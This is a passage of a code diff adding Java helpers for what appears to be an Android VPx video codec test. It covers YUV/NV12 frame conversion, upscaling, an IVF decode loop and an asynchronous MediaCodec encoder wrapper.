+     * Stride may be greater than width, slice height may be greater than height.
+     */
+    private static byte[] NV12ToYUV420(int width, int height,
+            int stride, int sliceHeight, byte[] nv12) {
+        byte[] yuv = new byte[width * height * 3 / 2];
+
+        // Y plane we just copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(nv12, i * stride, yuv, i * width, width);
+        }
+
+        // U & V plane - de-interleave.
+        int u_offset = width * height;
+        int v_offset = u_offset + u_offset / 4;
+        int nv_offset;
+        for (int i = 0; i < height / 2; i++) {
+            nv_offset = stride * (sliceHeight + i);
+            for (int j = 0; j < width / 2; j++) {
+                yuv[u_offset++] = nv12[nv_offset++];
+                yuv[v_offset++] = nv12[nv_offset++];
+            }
+        }
+        return yuv;
+    }
+
+    /**
+     * Packs YUV420 frame by moving it to a smaller size buffer with stride and slice
+     * height equal to the original frame width and height.
+     */
+    private static byte[] PackYUV420(int width, int height,
+            int stride, int sliceHeight, byte[] src) {
+        byte[] dst = new byte[width * height * 3 / 2];
+        // Y copy.
+        for (int i = 0; i < height; i++) {
+            System.arraycopy(src, i * stride, dst, i * width, width);
+        }
+        // U and V copy.
+        int u_src_offset = stride * sliceHeight;
+        int v_src_offset = u_src_offset + u_src_offset / 4;
+        int u_dst_offset = width * height;
+        int v_dst_offset = u_dst_offset + u_dst_offset / 4;
+        for (int i = 0; i < height / 2; i++) {
+            System.arraycopy(src, u_src_offset + i * (stride / 2),
+                    dst, u_dst_offset + i * (width / 2), width / 2);
+            System.arraycopy(src, v_src_offset + i * (stride / 2),
+                    dst, v_dst_offset + i * (width / 2), width / 2);
+        }
+        return dst;
+    }
+
+
+    private static void imageUpscale1To2(byte[] src, int srcByteOffset, int srcStride,
+            byte[] dst, int dstByteOffset, int dstWidth, int dstHeight) {
+        for (int i = 0; i < dstHeight/2 - 1; i++) {
+            int dstOffset0 = 2 * i * dstWidth + dstByteOffset;
+            int dstOffset1 = dstOffset0 + dstWidth;
+            int srcOffset0 = i * srcStride + srcByteOffset;
+            int srcOffset1 = srcOffset0 + srcStride;
+            int pixel00 = (int)src[srcOffset0++] & 0xff;
+            int pixel10 = (int)src[srcOffset1++] & 0xff;
+            for (int j = 0; j < dstWidth/2 - 1; j++) {
+                int pixel01 = (int)src[srcOffset0++] & 0xff;
+                int pixel11 = (int)src[srcOffset1++] & 0xff;
+                dst[dstOffset0++] = (byte)pixel00;
+                dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+                dst[dstOffset1++] = (byte)((pixel00 + pixel01 + pixel10 + pixel11 + 2) / 4);
+                pixel00 = pixel01;
+                pixel10 = pixel11;
+            }
+            // last column
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+            dst[dstOffset1++] = (byte)((pixel00 + pixel10 + 1) / 2);
+        }
+
+        // last row
+        int dstOffset0 = (dstHeight - 2) * dstWidth + dstByteOffset;
+        int dstOffset1 = dstOffset0 + dstWidth;
+        int srcOffset0 = (dstHeight/2 - 1) * srcStride + srcByteOffset;
+        int pixel00 = (int)src[srcOffset0++] & 0xff;
+        for (int j = 0; j < dstWidth/2 - 1; j++) {
+            int pixel01 = (int)src[srcOffset0++] & 0xff;
+            dst[dstOffset0++] = (byte)pixel00;
+            dst[dstOffset0++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            dst[dstOffset1++] = (byte)pixel00;
+            dst[dstOffset1++] = (byte)((pixel00 + pixel01 + 1) / 2);
+            pixel00 = pixel01;
+        }
+        // the very last pixel - bottom right
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset0++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+        dst[dstOffset1++] = (byte)pixel00;
+    }
+
+    /**
+    * Up-scale image.
+    * Scale factor is defined by source and destination width ratio.
+    * Only 1:2 and 1:4 up-scaling is supported for now.
+    * For 640x480 -> 1280x720 conversion only top 640x360 part of the original
+    * image is scaled.
+    */
+    private static byte[] imageScale(byte[] src, int srcWidth, int srcHeight,
+            int dstWidth, int dstHeight) throws Exception {
+        int srcYSize = srcWidth * srcHeight;
+        int dstYSize = dstWidth * dstHeight;
+        byte[] dst = null;
+        if (dstWidth == 2 * srcWidth && dstHeight <= 2 * srcHeight) {
+            // 1:2 upscale
+            dst = new byte[dstWidth * dstHeight * 3 / 2];
+            imageUpscale1To2(src, 0, srcWidth,
+                    dst, 0, dstWidth, dstHeight);                                 // Y
+            imageUpscale1To2(src, srcYSize, srcWidth / 2,
+                    dst, dstYSize, dstWidth / 2, dstHeight / 2);                  // U
+            imageUpscale1To2(src, srcYSize * 5 / 4, srcWidth / 2,
+                    dst, dstYSize * 5 / 4, dstWidth / 2, dstHeight / 2);          // V
+        } else if (dstWidth == 4 * srcWidth && dstHeight <= 4 * srcHeight) {
+            // 1:4 upscale - in two steps
+            int midWidth = 2 * srcWidth;
+            int midHeight = 2 * srcHeight;
+            byte[] midBuffer = imageScale(src, srcWidth, srcHeight, midWidth, midHeight);
+            dst = imageScale(midBuffer, midWidth, midHeight, dstWidth, dstHeight);
+
+        } else {
+            throw new RuntimeException("Can not find proper scaling function");
+        }
+
+        return dst;
+    }
+
+    private void cacheScaledImage(
+            String srcYuvFilename, int srcResourceId, int srcFrameWidth, int srcFrameHeight,
+            String dstYuvFilename, int dstFrameWidth, int dstFrameHeight) throws Exception {
+        InputStream srcStream = OpenFileOrResourceId(srcYuvFilename, srcResourceId);
+        FileOutputStream dstFile = new FileOutputStream(dstYuvFilename, false);
+        int srcFrameSize = srcFrameWidth * srcFrameHeight * 3 / 2;
+        byte[] srcFrame = new byte[srcFrameSize];
+        byte[] dstFrame = null;
+        Log.d(TAG, "Scale to " + dstFrameWidth + " x " + dstFrameHeight + ". -> " + dstYuvFilename);
+        while (true) {
+            int bytesRead = srcStream.read(srcFrame);
+            if (bytesRead != srcFrame.length) {
+                break;
+            }
+            if (dstFrameWidth == srcFrameWidth && dstFrameHeight == srcFrameHeight) {
+                dstFrame = srcFrame;
+            } else {
+                dstFrame = imageScale(srcFrame, srcFrameWidth, srcFrameHeight,
+                        dstFrameWidth, dstFrameHeight);
+            }
+            dstFile.write(dstFrame);
+        }
+        srcStream.close();
+        dstFile.close();
+    }
+
+
+    /**
+     * A basic check if an encoded stream is decodable.
+     *
+     * The most basic confirmation we can get about a frame
+     * being properly encoded is trying to decode it.
+     * (Especially in realtime mode encode output is non-
+     * deterministic, therefore a more thorough check like
+     * md5 sum comparison wouldn't work.)
+     *
+     * Indeed, MediaCodec will raise an IllegalStateException
+     * whenever vpx decoder fails to decode a frame, and
+     * this test uses that fact to verify the bitstream.
+     *
+     * @param inputIvfFilename  The name of the IVF file containing encoded bitsream.
+     * @param outputYuvFilename The name of the output YUV file (optional).
+     * @param frameRate         Frame rate of input file in frames per second
+     * @param forceGoogleDecoder    Force to use Google VPx decoder.
+     */
+    protected ArrayList<MediaCodec.BufferInfo> decode(
+            String inputIvfFilename,
+            String outputYuvFilename,
+            String codecMimeType,
+            int frameRate,
+            boolean forceGoogleDecoder) throws Exception {
+        ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+
+        // Open input/output.
+        IvfReader ivf = new IvfReader(inputIvfFilename);
+        int frameWidth = ivf.getWidth();
+        int frameHeight = ivf.getHeight();
+        int frameCount = ivf.getFrameCount();
+        int frameStride = frameWidth;
+        int frameSliceHeight = frameHeight;
+        assertTrue(frameWidth > 0);
+        assertTrue(frameHeight > 0);
+        assertTrue(frameCount > 0);
+
+        // Create decoder.
+        MediaFormat format = MediaFormat.createVideoFormat(
+                codecMimeType, ivf.getWidth(), ivf.getHeight());
+        CodecProperties properties = getVpxCodecProperties(
+                false /* encoder */, format, forceGoogleDecoder);
+        if (properties == null) {
+            ivf.close();
+            return null;
+        }
+        int frameColorFormat = properties.colorFormat;
+        format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+
+        FileOutputStream yuv = null;
+        if (outputYuvFilename != null) {
+            yuv = new FileOutputStream(outputYuvFilename, false);
+        }
+
+        Log.d(TAG, "Creating decoder " + properties.codecName +
+                ". Color format: 0x" + Integer.toHexString(frameColorFormat) +
+                ". " + frameWidth + " x " + frameHeight);
+        Log.d(TAG, "  Format: " + format);
+        Log.d(TAG, "  In: " + inputIvfFilename + ". Out:" + outputYuvFilename);
+        MediaCodec decoder = MediaCodec.createByCodecName(properties.codecName);
+        decoder.configure(format,
+                          null,  // surface
+                          null,  // crypto
+                          0);    // flags
+        decoder.start();
+
+        ByteBuffer[] inputBuffers = decoder.getInputBuffers();
+        ByteBuffer[] outputBuffers = decoder.getOutputBuffers();
+        MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+
+        // decode loop
+        int inputFrameIndex = 0;
+        int outputFrameIndex = 0;
+        long inPresentationTimeUs = 0;
+        long outPresentationTimeUs = 0;
+        boolean sawOutputEOS = false;
+        boolean sawInputEOS = false;
+
+        while (!sawOutputEOS) {
+            if (!sawInputEOS) {
+                int inputBufIndex = decoder.dequeueInputBuffer(DEFAULT_DEQUEUE_TIMEOUT_US);
+                if (inputBufIndex >= 0) {
+                    byte[] frame = ivf.readFrame(inputFrameIndex);
+
+                    if (inputFrameIndex == frameCount - 1) {
+                        Log.d(TAG, "  Input EOS for frame # " + inputFrameIndex);
+                        sawInputEOS = true;
+                    }
+
+                    inputBuffers[inputBufIndex].clear();
+                    inputBuffers[inputBufIndex].put(frame);
+                    inputBuffers[inputBufIndex].rewind();
+                    inPresentationTimeUs = (inputFrameIndex * 1000000) / frameRate;
+
+                    decoder.queueInputBuffer(
+                            inputBufIndex,
+                            0,  // offset
+                            frame.length,
+                            inPresentationTimeUs,
+                            sawInputEOS ? MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+
+                    inputFrameIndex++;
+                }
+            }
+
+            int result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    outputBuffers = decoder.getOutputBuffers();
+                } else  if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    // Process format change
+                    format = decoder.getOutputFormat();
+                    frameWidth = format.getInteger(MediaFormat.KEY_WIDTH);
+                    frameHeight = format.getInteger(MediaFormat.KEY_HEIGHT);
+                    frameColorFormat = format.getInteger(MediaFormat.KEY_COLOR_FORMAT);
+                    Log.d(TAG, "Decoder output format change. Color: 0x" +
+                            Integer.toHexString(frameColorFormat));
+                    Log.d(TAG, "Format: " + format.toString());
+
+                    // Parse frame and slice height from undocumented values
+                    if (format.containsKey("stride")) {
+                        frameStride = format.getInteger("stride");
+                    } else {
+                        frameStride = frameWidth;
+                    }
+                    if (format.containsKey("slice-height")) {
+                        frameSliceHeight = format.getInteger("slice-height");
+                    } else {
+                        frameSliceHeight = frameHeight;
+                    }
+                    Log.d(TAG, "Frame stride and slice height: " + frameStride +
+                            " x " + frameSliceHeight);
+                    frameStride = Math.max(frameWidth, frameStride);
+                    frameSliceHeight = Math.max(frameHeight, frameSliceHeight);
+                }
+                result = decoder.dequeueOutputBuffer(bufferInfo, DEFAULT_DEQUEUE_TIMEOUT_US);
+            }
+            if (result >= 0) {
+                int outputBufIndex = result;
+                outPresentationTimeUs = bufferInfo.presentationTimeUs;
+                Log.v(TAG, "Writing buffer # " + outputFrameIndex +
+                        ". Size: " + bufferInfo.size +
+                        ". InTime: " + (inPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (outPresentationTimeUs + 500)/1000);
+                if ((bufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    sawOutputEOS = true;
+                    Log.d(TAG, "   Output EOS for frame # " + outputFrameIndex);
+                }
+
+                if (bufferInfo.size > 0) {
+                    // Save decoder output to yuv file.
+                    if (yuv != null) {
+                        byte[] frame = new byte[bufferInfo.size];
+                        outputBuffers[outputBufIndex].position(bufferInfo.offset);
+                        outputBuffers[outputBufIndex].get(frame, 0, bufferInfo.size);
+                        // Convert NV12 to YUV420 if necessary.
+                        if (frameColorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                            frame = NV12ToYUV420(frameWidth, frameHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        int writeLength = Math.min(frameWidth * frameHeight * 3 / 2, frame.length);
+                        // Pack frame if necessary.
+                        if (writeLength < frame.length &&
+                                (frameStride > frameWidth || frameSliceHeight > frameHeight)) {
+                            frame = PackYUV420(frameWidth, frameHeight,
+                                    frameStride, frameSliceHeight, frame);
+                        }
+                        yuv.write(frame, 0, writeLength);
+                    }
+                    outputFrameIndex++;
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = inPresentationTimeUs - outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, bufferInfo.size,
+                            outPresentationTimeUs, bufferInfo.flags);
+                    bufferInfos.add(bufferInfoCopy);
+                }
+                decoder.releaseOutputBuffer(outputBufIndex, false);
+            }
+        }
+        decoder.stop();
+        decoder.release();
+        ivf.close();
+        if (yuv != null) {
+            yuv.close();
+        }
+
+        return bufferInfos;
+    }
+
+
+    /**
+     * Helper function to return InputStream from either filename (if set)
+     * or resource id (if filename is not set).
+     */
+    private InputStream OpenFileOrResourceId(String filename, int resourceId) throws Exception {
+        if (filename != null) {
+            return new FileInputStream(filename);
+        }
+        return mResources.openRawResource(resourceId);
+    }
+
+    /**
+     * Results of frame encoding.
+     */
+    protected class MediaEncoderOutput {
+        public long inPresentationTimeUs;
+        public long outPresentationTimeUs;
+        public boolean outputGenerated;
+        public int flags;
+        public byte[] buffer;
+    }
+
+    protected class MediaEncoderAsyncHelper {
+        private final EncoderOutputStreamParameters mStreamParams;
+        private final CodecProperties mProperties;
+        private final ArrayList<MediaCodec.BufferInfo> mBufferInfos;
+        private final IvfWriter mIvf;
+        private final byte[] mSrcFrame;
+
+        private InputStream mYuvStream;
+        private int mInputFrameIndex;
+
+        MediaEncoderAsyncHelper(
+                EncoderOutputStreamParameters streamParams,
+                CodecProperties properties,
+                ArrayList<MediaCodec.BufferInfo> bufferInfos,
+                IvfWriter ivf)
+                throws Exception {
+            mStreamParams = streamParams;
+            mProperties = properties;
+            mBufferInfos = bufferInfos;
+            mIvf = ivf;
+
+            int srcFrameSize = streamParams.frameWidth * streamParams.frameHeight * 3 / 2;
+            mSrcFrame = new byte[srcFrameSize];
+
+            mYuvStream = OpenFileOrResourceId(
+                    streamParams.inputYuvFilename, streamParams.inputResourceId);
+        }
+
+        public byte[] getInputFrame() {
+            // Check EOS
+            if (mStreamParams.frameCount == 0
+                    || (mStreamParams.frameCount > 0
+                            && mInputFrameIndex >= mStreamParams.frameCount)) {
+                Log.d(TAG, "---Sending EOS empty frame for frame # " + mInputFrameIndex);
+                return null;
+            }
+
+            try {
+                int bytesRead = mYuvStream.read(mSrcFrame);
+
+                if (bytesRead == -1) {
+                    // rewind to beginning of file
+                    mYuvStream.close();
+                    mYuvStream = OpenFileOrResourceId(
+                            mStreamParams.inputYuvFilename, mStreamParams.inputResourceId);
+                    bytesRead = mYuvStream.read(mSrcFrame);
+                }
+            } catch (Exception e) {
+                Log.e(TAG, "Failed to read YUV file.");
+                return null;
+            }
+            mInputFrameIndex++;
+
+            // Convert YUV420 to NV12 if necessary
+            if (mProperties.colorFormat != CodecCapabilities.COLOR_FormatYUV420Planar) {
+                return YUV420ToNV(mStreamParams.frameWidth, mStreamParams.frameHeight,
+                        mSrcFrame);
+            } else {
+                return mSrcFrame;
+            }
+        }
+
+        public boolean saveOutputFrame(MediaEncoderOutput out) {
+            if (out.outputGenerated) {
+                if (out.buffer.length > 0) {
+                    // Save frame
+                    try {
+                        mIvf.writeFrame(out.buffer, out.outPresentationTimeUs);
+                    } catch (Exception e) {
+                        Log.d(TAG, "Failed to write frame");
+                        return true;
+                    }
+
+                    // Update statistics - store presentation time delay in offset
+                    long presentationTimeUsDelta = out.inPresentationTimeUs -
+                            out.outPresentationTimeUs;
+                    MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+                    bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+                            out.outPresentationTimeUs, out.flags);
+                    mBufferInfos.add(bufferInfoCopy);
+                }
+                // Detect output EOS
+                if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    Log.d(TAG, "----Output EOS ");
+                    return true;
+                }
+            }
+            return false;
+        }
+    }
+
+    /**
+     * Video encoder wrapper class.
+     * Allows to run the encoder either in a callee's thread or in a looper thread
+     * using buffer dequeue ready notification callbacks.
+     *
+     * Function feedInput() is used to send raw video frame to the encoder input. When encoder
+     * is configured to run in async mode the function will run in a looper thread.
+     * Encoded frame can be retrieved by calling getOutput() function.
+     */
+    protected class MediaEncoderAsync extends Thread {
+        private int mId;
+        private MediaCodecWrapper mCodec;
+        private ByteBuffer[] mInputBuffers;
+        private ByteBuffer[] mOutputBuffers;
+        private int mInputFrameIndex;
+        private int mOutputFrameIndex;
+        private int mInputBufIndex;
+        private int mFrameRate;
+        private long mTimeout;
+        private MediaCodec.BufferInfo mBufferInfo;
+        private long mInPresentationTimeUs;
+        private long mOutPresentationTimeUs;
+        private boolean mAsync;
+        // Flag indicating if input frame was consumed by the encoder in feedInput() call.
+        private boolean mConsumedInput;
+        // Result of frame encoding returned by getOutput() call.
+        private MediaEncoderOutput mOutput;
+        // Object used to signal that looper thread has started and Handler instance associated
+        // with looper thread has been allocated.
+        private final Object mThreadEvent = new Object();
+        // Object used to signal that MediaCodec buffer dequeue notification callback
+        // was received.
+        private final Object mCallbackEvent = new Object();
+        private Handler mHandler;
+        private boolean mCallbackReceived;
+        private MediaEncoderAsyncHelper mHelper;
+        private final Object mCompletionEvent = new Object();
+        private boolean mCompleted;
+
+        private MediaCodec.Callback mCallback = new MediaCodec.Callback() {
+            @Override
+            public void onInputBufferAvailable(MediaCodec codec, int index) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                byte[] encFrame = mHelper.getInputFrame();
+                boolean inputEOS = (encFrame == null);
+
+                int encFrameLength = 0;
+                int flags = 0;
+                if (inputEOS) {
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                } else {
+                    encFrameLength = encFrame.length;
+
+                    ByteBuffer byteBuffer = mCodec.getInputBuffer(index);
+                    byteBuffer.put(encFrame);
+                    byteBuffer.rewind();
+
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        index,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+            }
+
+            @Override
+            public void onOutputBufferAvailable(MediaCodec codec,
+                    int index, MediaCodec.BufferInfo info) {
+                if (mHelper == null) {
+                    Log.e(TAG, "async helper not available");
+                    return;
+                }
+
+                MediaEncoderOutput out = new MediaEncoderOutput();
+
+                out.buffer = new byte[info.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(index);
+                outputBuffer.get(out.buffer, 0, info.size);
+                mOutPresentationTimeUs = info.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                }
+                if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + info.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+
+                if (mOutputFrameIndex == 0 &&
+                        ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
+                    throw new RuntimeException("First frame is not a sync frame.");
+                }
+
+                if (info.size > 0) {
+                    mOutputFrameIndex++;
+                    out.inPresentationTimeUs = mInPresentationTimeUs;
+                    out.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+                mCodec.releaseOutputBuffer(index, false);
+
+                out.flags = info.flags;
+                out.outputGenerated = true;
+
+                if (mHelper.saveOutputFrame(out)) {
+                    // output EOS
+                    signalCompletion();
+                }
+            }
+
+            @Override
+            public void onError(MediaCodec codec, CodecException e) {
+                Log.e(TAG, "onError: " + e
+                        + ", transient " + e.isTransient()
+                        + ", recoverable " + e.isRecoverable()
+                        + ", error " + e.getErrorCode());
+            }
+
+            @Override
+            public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) {
+                Log.i(TAG, "onOutputFormatChanged: " + format.toString());
+            }
+        };
+
+        private synchronized void requestStart() throws Exception {
+            mHandler = null;
+            start();
+            // Wait for Hander allocation
+            synchronized (mThreadEvent) {
+                while (mHandler == null) {
+                    mThreadEvent.wait();
+                }
+            }
+        }
+
+        public void setAsyncHelper(MediaEncoderAsyncHelper helper) {
+            mHelper = helper;
+        }
+
+        @Override
+        public void run() {
+            Looper.prepare();
+            synchronized (mThreadEvent) {
+                mHandler = new Handler();
+                mThreadEvent.notify();
+            }
+            Looper.loop();
+        }
+
+        private void runCallable(final Callable<?> callable) throws Exception {
+            if (mAsync) {
+                final Exception[] exception = new Exception[1];
+                final CountDownLatch countDownLatch = new CountDownLatch(1);
+                mHandler.post( new Runnable() {
+                    @Override
+                    public void run() {
+                        try {
+                            callable.call();
+                        } catch (Exception e) {
+                            exception[0] = e;
+                        } finally {
+                            countDownLatch.countDown();
+                        }
+                    }
+                } );
+
+                // Wait for task completion
+                countDownLatch.await();
+                if (exception[0] != null) {
+                    throw exception[0];
+                }
+            } else {
+                callable.call();
+            }
+        }
+
+        private synchronized void requestStop() throws Exception {
+            mHandler.post( new Runnable() {
+                @Override
+                public void run() {
+                    // This will run on the Looper thread
+                    Log.v(TAG, "MediaEncoder looper quitting");
+                    Looper.myLooper().quitSafely();
+                }
+            } );
+            // Wait for completion
+            join();
+            mHandler = null;
+        }
+
+        private void createCodecInternal(final String name,
+                final MediaFormat format, final long timeout, boolean useNdk) throws Exception {
+            mBufferInfo = new MediaCodec.BufferInfo();
+            mFrameRate = format.getInteger(MediaFormat.KEY_FRAME_RATE);
+            mTimeout = timeout;
+            mInputFrameIndex = 0;
+            mOutputFrameIndex = 0;
+            mInPresentationTimeUs = 0;
+            mOutPresentationTimeUs = 0;
+
+            if (useNdk) {
+                mCodec = new NdkMediaCodec(name);
+            } else {
+                mCodec = new SdkMediaCodec(MediaCodec.createByCodecName(name), mAsync);
+            }
+            if (mAsync) {
+                mCodec.setCallback(mCallback);
+            }
+            mCodec.configure(format, MediaCodec.CONFIGURE_FLAG_ENCODE);
+            mCodec.start();
+
+            // get the cached input/output only in sync mode
+            if (!mAsync) {
+                mInputBuffers = mCodec.getInputBuffers();
+                mOutputBuffers = mCodec.getOutputBuffers();
+            }
+        }
+
+        public void createCodec(int id, final String name, final MediaFormat format,
+                final long timeout, boolean async, final boolean useNdk)  throws Exception {
+            mId = id;
+            mAsync = async;
+            if (mAsync) {
+                requestStart(); // start looper thread
+            }
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    createCodecInternal(name, format, timeout, useNdk);
+                    return null;
+                }
+            } );
+        }
+
+        private void feedInputInternal(final byte[] encFrame, final boolean inputEOS) {
+            mConsumedInput = false;
+            // Feed input
+            mInputBufIndex = mCodec.dequeueInputBuffer(mTimeout);
+
+            if (mInputBufIndex >= 0) {
+                ByteBuffer inputBuffer = mCodec.getInputBuffer(mInputBufIndex);
+                inputBuffer.clear();
+                inputBuffer.put(encFrame);
+                inputBuffer.rewind();
+                int encFrameLength = encFrame.length;
+                int flags = 0;
+                if (inputEOS) {
+                    encFrameLength = 0;
+                    flags = MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+                }
+                if (!inputEOS) {
+                    Log.v(TAG, "Enc" + mId + ". Frame in # " + mInputFrameIndex +
+                            ". InTime: " + (mInPresentationTimeUs + 500)/1000);
+                    mInPresentationTimeUs = (mInputFrameIndex * 1000000) / mFrameRate;
+                    mInputFrameIndex++;
+                }
+
+                mCodec.queueInputBuffer(
+                        mInputBufIndex,
+                        0,  // offset
+                        encFrameLength,  // size
+                        mInPresentationTimeUs,
+                        flags);
+
+                mConsumedInput = true;
+            } else {
+                Log.v(TAG, "In " + mId + " - TRY_AGAIN_LATER");
+            }
+            mCallbackReceived = false;
+        }
+
+        public boolean feedInput(final byte[] encFrame, final boolean inputEOS) throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    feedInputInternal(encFrame, inputEOS);
+                    return null;
+                }
+            } );
+            return mConsumedInput;
+        }
+
+        private void getOutputInternal() {
+            mOutput = new MediaEncoderOutput();
+            mOutput.inPresentationTimeUs = mInPresentationTimeUs;
+            mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+            mOutput.outputGenerated = false;
+
+            // Get output from the encoder
+            int result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            while (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED ||
+                    result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                if (result == MediaCodec.INFO_OUTPUT_BUFFERS_CHANGED) {
+                    mOutputBuffers = mCodec.getOutputBuffers();
+                } else if (result == MediaCodec.INFO_OUTPUT_FORMAT_CHANGED) {
+                    Log.d(TAG, "Format changed: " + mCodec.getOutputFormatString());
+                }
+                result = mCodec.dequeueOutputBuffer(mBufferInfo, mTimeout);
+            }
+            if (result == MediaCodec.INFO_TRY_AGAIN_LATER) {
+                Log.v(TAG, "Out " + mId + " - TRY_AGAIN_LATER");
+            }
+
+            if (result >= 0) {
+                int outputBufIndex = result;
+                mOutput.buffer = new byte[mBufferInfo.size];
+                ByteBuffer outputBuffer = mCodec.getOutputBuffer(outputBufIndex);
+                outputBuffer.position(mBufferInfo.offset);
+                outputBuffer.get(mOutput.buffer, 0, mBufferInfo.size);
+                mOutPresentationTimeUs = mBufferInfo.presentationTimeUs;
+
+                String logStr = "Enc" + mId + ". Frame # " + mOutputFrameIndex;
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+                    logStr += " CONFIG. ";
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+                    logStr += " KEY. ";
+                }
+                if ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                    logStr += " EOS. ";
+                }
+                logStr += " Size: " + mBufferInfo.size;
+                logStr += ". InTime: " + (mInPresentationTimeUs + 500)/1000 +
+                        ". OutTime: " + (mOutPresentationTimeUs + 500)/1000;
+                Log.v(TAG, logStr);
+                if (mOutputFrameIndex == 0 &&
+                        ((mBufferInfo.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) == 0) ) {
+                    throw new RuntimeException("First frame is not a sync frame.");
+                }
+
+                if (mBufferInfo.size > 0) {
+                    mOutputFrameIndex++;
+                    mOutput.outPresentationTimeUs = mOutPresentationTimeUs;
+                }
+                mCodec.releaseOutputBuffer(outputBufIndex, false);
+
+                mOutput.flags = mBufferInfo.flags;
+                mOutput.outputGenerated = true;
+            }
+            mCallbackReceived = false;
+        }
+
+        public MediaEncoderOutput getOutput() throws Exception {
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    getOutputInternal();
+                    return null;
+                }
+            } );
+            return mOutput;
+        }
+
+        public void forceSyncFrame() throws Exception {
+            final Bundle syncFrame = new Bundle();
+            syncFrame.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(syncFrame);
+                    return null;
+                }
+            } );
+        }
+
+        public void updateBitrate(int bitrate) throws Exception {
+            final Bundle bitrateUpdate = new Bundle();
+            bitrateUpdate.putInt(MediaCodec.PARAMETER_KEY_VIDEO_BITRATE, bitrate);
+            runCallable( new Callable<Void>() {
+                @Override
+                public Void call() throws Exception {
+                    mCodec.setParameters(bitrateUpdate);
+                    return null;
+                }
+            } );
+        }
+
+
+        public void waitForBufferEvent() throws Exception {
+            Log.v(TAG, "----Enc" + mId + " waiting for bufferEvent");
+            if (mAsync) {
+                synchronized (mCallbackEvent) {
+                    if (!mCallbackReceived) {
+                        mCallbackEvent.wait(1000); // wait 1 sec for a callback
+                        // throw an exception if callback was not received
+                        if (!mCallbackReceived) {
+                            throw new RuntimeException("MediaCodec callback was not received");
+                        }
+                    }
+                }
+            } else {
+                Thread.sleep(5);
+            }
+            Log.v(TAG, "----Waiting for bufferEvent done");
+        }
+
+
+        public void waitForCompletion(long timeoutMs) throws Exception {
+            synchronized (mCompletionEvent) {
+                long timeoutExpiredMs = System.currentTimeMillis() + timeoutMs;
+
+                while (!mCompleted) {
